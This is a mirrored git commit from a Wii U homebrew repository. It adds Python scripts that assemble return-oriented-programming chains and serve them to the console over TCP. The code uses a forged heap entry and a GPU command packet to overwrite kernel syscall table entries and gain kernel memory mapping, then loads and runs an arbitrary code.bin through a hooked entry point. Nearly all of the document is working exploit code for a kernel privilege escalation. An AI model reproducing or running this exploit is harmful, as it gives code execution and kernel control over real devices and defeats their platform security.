mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-12-05 00:04:18 +01:00
Add ropchains to setup the memory mapping and actually executing a code.bin
This commit is contained in:
parent
13c7fe0ebf
commit
b174973730
87
homebrew/codebin_loader_ropchain.py
Normal file
87
homebrew/codebin_loader_ropchain.py
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
from ropgadgets import *
|
||||||
|
from common_defines import *
|
||||||
|
import struct
|
||||||
|
|
||||||
|
|
||||||
|
def load_code_bin_ropchain_calls(target_addr, extra_data_addr, rpl_name_addr, function_name_addr, payload_data_addr, payload_len):
|
||||||
|
cur_chain = []
|
||||||
|
# We are on a new thread on Core 1
|
||||||
|
# We expected a memory mapping 0xA0000000 -> 0x1000000.
|
||||||
|
# Copy our payload to the target_addr
|
||||||
|
cur_chain += memcpy(0xC1000000 + target_addr, payload_data_addr, payload_len)
|
||||||
|
cur_chain += DCFlushRange(target_addr, payload_len)
|
||||||
|
cur_chain += ICInvalidateRange(target_addr, payload_len)
|
||||||
|
|
||||||
|
# Create a main hook to execute the payload on the next application switch.
|
||||||
|
cur_chain += memcpy(0xC1000000 + ADDRESS_main_entry_hook, extra_data_addr, 4)
|
||||||
|
cur_chain += DCFlushRange(ADDRESS_main_entry_hook, 4)
|
||||||
|
cur_chain += ICInvalidateRange(ADDRESS_main_entry_hook, 4)
|
||||||
|
|
||||||
|
# Call _SYSLaunchMiiStudio() and exit the thread
|
||||||
|
cur_chain += FindExportAndCall(extra_data_addr + 0x04, rpl_name_addr, function_name_addr) # _SYSLaunchMiiStudio
|
||||||
|
cur_chain += OSExitThread(0)
|
||||||
|
|
||||||
|
return cur_chain
|
||||||
|
|
||||||
|
|
||||||
|
def load_code_bin_ropchain_data(base, path, entrypoint_addr):
|
||||||
|
cur_chain = []
|
||||||
|
|
||||||
|
extra_data_addr = base
|
||||||
|
tmp_chain = [(entrypoint_addr & 0x03fffffc) | 0x48000003, # branch to target_addr
|
||||||
|
0,
|
||||||
|
0]
|
||||||
|
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
rpl_name_addr = extra_data_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0x73797361,
|
||||||
|
0x70702E72,
|
||||||
|
0x706C0000]
|
||||||
|
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
function_name_addr = rpl_name_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0x5F535953,
|
||||||
|
0x4C61756E,
|
||||||
|
0x63684D69,
|
||||||
|
0x69537475,
|
||||||
|
0x64696F00]
|
||||||
|
|
||||||
|
# Copy the target payload into the ROP.
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
payload_data_addr = function_name_addr + (len(tmp_chain) * 4)
|
||||||
|
|
||||||
|
tmp_chain = []
|
||||||
|
payload_len = 0
|
||||||
|
word = 1
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
while word:
|
||||||
|
|
||||||
|
word = f.read(4)
|
||||||
|
if len(word) == 0:
|
||||||
|
break
|
||||||
|
val = 0
|
||||||
|
if len(word) < 4:
|
||||||
|
for x in range(len(word)):
|
||||||
|
val |= word[x] << ((3 - x) * 8)
|
||||||
|
else:
|
||||||
|
val = struct.unpack(">I", word)[0]
|
||||||
|
tmp_chain.append(val)
|
||||||
|
payload_len += 4
|
||||||
|
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
return [cur_chain, extra_data_addr, rpl_name_addr, function_name_addr, payload_data_addr, payload_len]
|
||||||
|
|
||||||
|
|
||||||
|
def load_code_bin_ropchain(path, target_addr, entrypoint_addr):
|
||||||
|
cur_chain = []
|
||||||
|
base = 0x4D900000 + 0x14
|
||||||
|
# Get the length of the "function calls" to calculates offsets
|
||||||
|
rop_len = len(load_code_bin_ropchain_calls(0, 0, 0, 0, 0, 0)) * 4
|
||||||
|
|
||||||
|
# Create the data for the payload
|
||||||
|
tmp_data = load_code_bin_ropchain_data(base + rop_len, path, entrypoint_addr)
|
||||||
|
|
||||||
|
# Build real ropchain
|
||||||
|
cur_chain += load_code_bin_ropchain_calls(target_addr, tmp_data[1], tmp_data[2], tmp_data[3], tmp_data[4], tmp_data[5])
|
||||||
|
cur_chain += tmp_data[0]
|
||||||
|
return cur_chain
|
15
homebrew/do_memory_mapping.py
Normal file
15
homebrew/do_memory_mapping.py
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
from memory_mapping_ropchain import *
|
||||||
|
from tcp_ropchain import *
|
||||||
|
from config import *
|
||||||
|
import socket, time, struct
|
||||||
|
|
||||||
|
# Send second payload via tcp
|
||||||
|
rop_packet_mem = memory_mapping_ropchain()
|
||||||
|
rop_packet = struct.pack(">%iI" % len(rop_packet_mem), *rop_packet_mem)
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
s.bind(('0.0.0.0', TCP_SERVER_PORT))
|
||||||
|
s.listen(1)
|
||||||
|
conn = s.accept()
|
||||||
|
print('Connected by ', conn[1])
|
||||||
|
conn[0].send(rop_packet)
|
131
homebrew/memory_mapping_ropchain.py
Normal file
131
homebrew/memory_mapping_ropchain.py
Normal file
@ -0,0 +1,131 @@
|
|||||||
|
from ropgadgets import *
|
||||||
|
from common_defines import *
|
||||||
|
|
||||||
|
|
||||||
|
# This is only valid for a short time
|
||||||
|
def kern_memcpy(dest, src, len):
|
||||||
|
# Calls syscall 0x32
|
||||||
|
return call_func(ROP_Register, dest, src, len)
|
||||||
|
|
||||||
|
|
||||||
|
def memory_mapping_ropchain_calls(drvname_addr, fake_heap_entry_addr, fake_heap_addr, pm4_packet_addr, extra_data_addr, rpl_name_addr, function_name_addr):
|
||||||
|
cur_chain = []
|
||||||
|
|
||||||
|
# Suspend the main thread
|
||||||
|
cur_chain += OSSuspendThread(0x100457E0)
|
||||||
|
|
||||||
|
real_fake_heap_addr = 0x2F200014
|
||||||
|
cur_chain += memcpy(real_fake_heap_addr, fake_heap_addr, 0x10)
|
||||||
|
cur_chain += DCFlushRange(real_fake_heap_addr, 0x10)
|
||||||
|
|
||||||
|
# This will set KERN_HEAP_PHYS + STARTID_OFFSET to 0x03000000
|
||||||
|
cur_chain += DCFlushRange(pm4_packet_addr, 0x20)
|
||||||
|
cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20)
|
||||||
|
cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20)
|
||||||
|
cur_chain += GX2DirectCallDisplayList(pm4_packet_addr, 0x20)
|
||||||
|
|
||||||
|
cur_chain += GX2Flush()
|
||||||
|
cur_chain += GX2DrawDone()
|
||||||
|
|
||||||
|
cur_chain += OSDriver_Register(drvname_addr, 3, 0, 0)
|
||||||
|
|
||||||
|
cur_chain += write32(fake_heap_entry_addr + 0x44, KERN_SYSCALL_TBL_2 + (0x32 * 4)) # override the register syscall with new kernel copy data
|
||||||
|
cur_chain += DCFlushRange(fake_heap_entry_addr + 0x44, 0x04)
|
||||||
|
cur_chain += OSDriver_CopyToSaveArea(drvname_addr, 3, extra_data_addr, 4)
|
||||||
|
|
||||||
|
cur_chain += kern_memcpy(KERNEL_ADDRESS_TABLE + (0x12 * 4), extra_data_addr + 0xC, 8) # memory mapping
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_1 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_2 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_3 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_4 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_5 + (0x25 * 4), extra_data_addr, 4) # register syscall 0x25 as memcpy
|
||||||
|
cur_chain += kern_memcpy(KERN_HEAP + STARTID_OFFSET, extra_data_addr + 8, 4) # clean exploit stuff
|
||||||
|
cur_chain += kern_memcpy(KERN_DRVPTR, fake_heap_entry_addr + 0x48, 4) # clean exploit stuff
|
||||||
|
cur_chain += kern_memcpy(KERN_SYSCALL_TBL_2 + (0x32 * 4), extra_data_addr + 0x04, 4) # restore syscall 0x32
|
||||||
|
|
||||||
|
cur_chain += FindExportAndCall(extra_data_addr + 0x14, rpl_name_addr, function_name_addr) # SYSRelaunchTitle
|
||||||
|
cur_chain += OSResumeThread(0x100457E0) # Restart the main thread
|
||||||
|
|
||||||
|
cur_chain += OSExitThread(0)
|
||||||
|
|
||||||
|
return cur_chain
|
||||||
|
|
||||||
|
|
||||||
|
def memory_mapping_ropchain_data(base):
|
||||||
|
cur_chain = []
|
||||||
|
|
||||||
|
drvname_addr = base
|
||||||
|
tmp_chain = [0x58585800]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
fake_heap_addr = drvname_addr + (len(tmp_chain) * 4)
|
||||||
|
fake_heap_entry_addr = 0x105F0000
|
||||||
|
tmp_chain = [fake_heap_entry_addr,
|
||||||
|
0xFFFFFFB4,
|
||||||
|
0xFFFFFFFF,
|
||||||
|
0xFFFFFFFF]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
cur_addr = fake_heap_addr + (len(tmp_chain) * 4)
|
||||||
|
|
||||||
|
# align pm4 packet to 0x20
|
||||||
|
offset = ((cur_addr + 31 & ~ 31) - cur_addr) >> 2
|
||||||
|
tmp_chain = []
|
||||||
|
for i in range(0, offset):
|
||||||
|
tmp_chain.append(0xDEADAFFE)
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET
|
||||||
|
pm4_packet_addr = cur_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0xC0013900,
|
||||||
|
kpaddr,
|
||||||
|
0xC0000000,
|
||||||
|
0x80000000,
|
||||||
|
0x80000000,
|
||||||
|
0x80000000,
|
||||||
|
0x80000000,
|
||||||
|
0x80000000]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
# extra_data
|
||||||
|
extra_data_addr = pm4_packet_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0xfff09e44,
|
||||||
|
0xfff1104c,
|
||||||
|
0,
|
||||||
|
0x10000000,
|
||||||
|
0x28305800,
|
||||||
|
0xDEADABBC,
|
||||||
|
0xDEADABBE]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
# rpl_name_addr
|
||||||
|
rpl_name_addr = extra_data_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0x73797361,
|
||||||
|
0x70702E72,
|
||||||
|
0x706C0000]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
# function_name_addr
|
||||||
|
function_name_addr = rpl_name_addr + (len(tmp_chain) * 4)
|
||||||
|
tmp_chain = [0x53595352,
|
||||||
|
0x656C6175,
|
||||||
|
0x6E636854,
|
||||||
|
0x69746C65,
|
||||||
|
0x00000000]
|
||||||
|
cur_chain += tmp_chain
|
||||||
|
|
||||||
|
return [cur_chain, drvname_addr, fake_heap_entry_addr, fake_heap_addr, pm4_packet_addr, extra_data_addr, rpl_name_addr, function_name_addr]
|
||||||
|
|
||||||
|
|
||||||
|
def memory_mapping_ropchain():
|
||||||
|
base = 0x4D900000 + 0x14
|
||||||
|
# Get the length of the "function calls" to calcutes offsets
|
||||||
|
rop_len = len(memory_mapping_ropchain_calls(0, 0, 0, 0, 0, 0, 0)) * 4
|
||||||
|
|
||||||
|
# Get the data and their addresses.
|
||||||
|
tmp_data = memory_mapping_ropchain_data(base + rop_len)
|
||||||
|
|
||||||
|
# Build real ropchain
|
||||||
|
cur_chain = []
|
||||||
|
cur_chain += memory_mapping_ropchain_calls(tmp_data[1], tmp_data[2], tmp_data[3], tmp_data[4], tmp_data[5], tmp_data[6], tmp_data[7])
|
||||||
|
cur_chain += tmp_data[0]
|
||||||
|
return cur_chain
|
15
homebrew/run_codebin_loader_ropchain.py
Normal file
15
homebrew/run_codebin_loader_ropchain.py
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
from codebin_loader_ropchain import *
|
||||||
|
from tcp_ropchain import *
|
||||||
|
from config import *
|
||||||
|
import socket, time, struct
|
||||||
|
|
||||||
|
# Send second payload via tcp
|
||||||
|
rop_payload = load_code_bin_ropchain(CODE_BIN_PATH, CODE_BIN_TARGET_ADDR, CODE_BIN_ENTRYPOINT)
|
||||||
|
rop_packet = struct.pack(">%iI" % len(rop_payload), *rop_payload)
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
s.bind(('0.0.0.0', 12345))
|
||||||
|
s.listen(1)
|
||||||
|
conn = s.accept()
|
||||||
|
print('Connected by ', conn[1])
|
||||||
|
conn[0].send(rop_packet)
|
Loading…
Reference in New Issue
Block a user